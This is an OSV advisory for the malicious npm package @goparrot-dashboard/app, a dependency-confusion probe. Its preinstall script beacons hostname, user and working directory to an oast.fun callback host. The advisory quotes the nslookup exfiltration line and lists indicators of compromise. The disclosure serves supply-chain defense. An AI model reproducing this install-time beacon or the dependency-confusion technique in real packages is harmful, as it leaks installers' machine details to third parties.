MAL-2026-18492

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@goparrot-dashboard/app/MAL-2026-18492.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-18492
Published
2026-11-01T05:48:31Z
Modified
2026-11-03T05:00:10Z
Summary
Malicious code in @goparrot-dashboard/app (npm)
Details

@goparrot-dashboard/app is a dependency-confusion probe: it takes a name in a @goparrot-dashboard scope that its publisher created on npm, next to GoParrot's public @goparrot scope, so a build that resolves that scope from npm runs its code instead of a private package of the same name. In 0.0.2 a preinstall script runs node index.js on npm install, which collects the hostname, the whoami user and the working directory, looks up a DNS name built from the user and host names under iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun with nslookup, and sends the same values in a curl request to https://iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun/rootxravi-poc, an interactsh callback host; 0.0.1 and 0.0.3 only print a marker when imported. The npm account devtest91001 published it on 2026-11-01 together with 24 other @goparrot-dashboard and @goparrot-dashboard-api packages that print the same "rootxravi-poc-security" marker.

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658)

The package declares a preinstall lifecycle script that runs node index.js automatically on npm install. index.js collects installer host identifiers — hostname, the output of whoami, and process.cwd() — and transmits them to a hardcoded Interactsh (oast.fun) callback host at iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun via two channels: a DNS lookup against a subdomain that embeds the collected username and hostname (execSync("nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}")), and an HTTPS GET to https://<CALLBACK>/rootxravi-poc?... carrying the same data. The behavior fires without user action during installation and leaks identifying information about the installer's machine to an attacker-controlled OAST endpoint. Author comments labeling the code as a proof-of-concept do not change the dataflow — installing the package produces an install-time beacon to a third-party callback host.

Database specific 
{
    "iocs":  {
        "domains":  [
            "iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun"
        ],
        "files":  [
            {
                "digests":  {
                    "sha256":  "ba3bd83c264aebc84cdc25f1e1ecfeb343b07b0676a7cd54a4f8d596f80c5f7a"
                },
                "note":  "Executed by the preinstall script of @goparrot-dashboard/app@0.0.2.",
                "paths":  [
                    "index.js"
                ],
                "source":  "PACKAGE_ARCHIVE"
            },
            {
                "digests":  {
                    "sha256":  "a3f73222b8b9231bf230b6deb85d5ea7494fdd208e8ba2e92665a9de5172f399"
                },
                "note":  "Malicious package manifest.",
                "paths":  [
                    "package.json"
                ],
                "source":  "PACKAGE_ARCHIVE"
            },
            {
                "digests":  {
                    "sha256":  "7ba430762bc08b237370123c767e020debf2a469eab85de709f9e37b6e9f6b8a"
                },
                "note":  "preinstall script: node index.js",
                "paths":  [
                    "package.json"
                ],
                "source":  "PACKAGE_ARCHIVE"
            },
            {
                "digests":  {
                    "sha256":  "fa38f0380045d0f96a4bb0542b91915404b5fda4270fe6dc1f35c2768bba633f"
                },
                "note":  "Malicious package manifest.",
                "paths":  [
                    "package.json"
                ],
                "source":  "PACKAGE_ARCHIVE"
            }
        ],
        "urls":  [
            "https://iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun/rootxravi-poc"
        ]
    },
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-022513",
            "import_time":  "2026-11-03T03:37:00.485143488Z",
            "modified_time":  "2026-11-03T03:30:15Z",
            "sha256":  "15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658",
            "source":  "amazon-inspector",
            "versions":  [
                "0.0.2"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @goparrot-dashboard/app

Package

Name
@goparrot-dashboard/app
View open source insights on deps.dev
Purl
pkg:npm/%40goparrot-dashboard/app

Affected ranges

Affected versions

0.*
0.0.1
0.0.2
0.0.3

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "index.js",
            "sha256":  "ba3bd83c264aebc84cdc25f1e1ecfeb343b07b0676a7cd54a4f8d596f80c5f7a",
            "tlsh":  "db11af65677563f05eb06ec0a70315a23397c15afe11ffe0265e42429bd820992730da"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "app-0.0.2.tgz",
            "hashes":  {
                "sha1":  "8bdb408120fe0c657d875879555f373d2e8caae6",
                "sha512_sri":  "sha512-FIiFsRTATSPX72iyaRdjo+sH/mS7lHU7exmEOYy7oZpY1IIbzeyX19bOMQg2qro9yEB0uYI4ghIKk3lvMZAQ4A=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@goparrot-dashboard/app/MAL-2026-18492.json"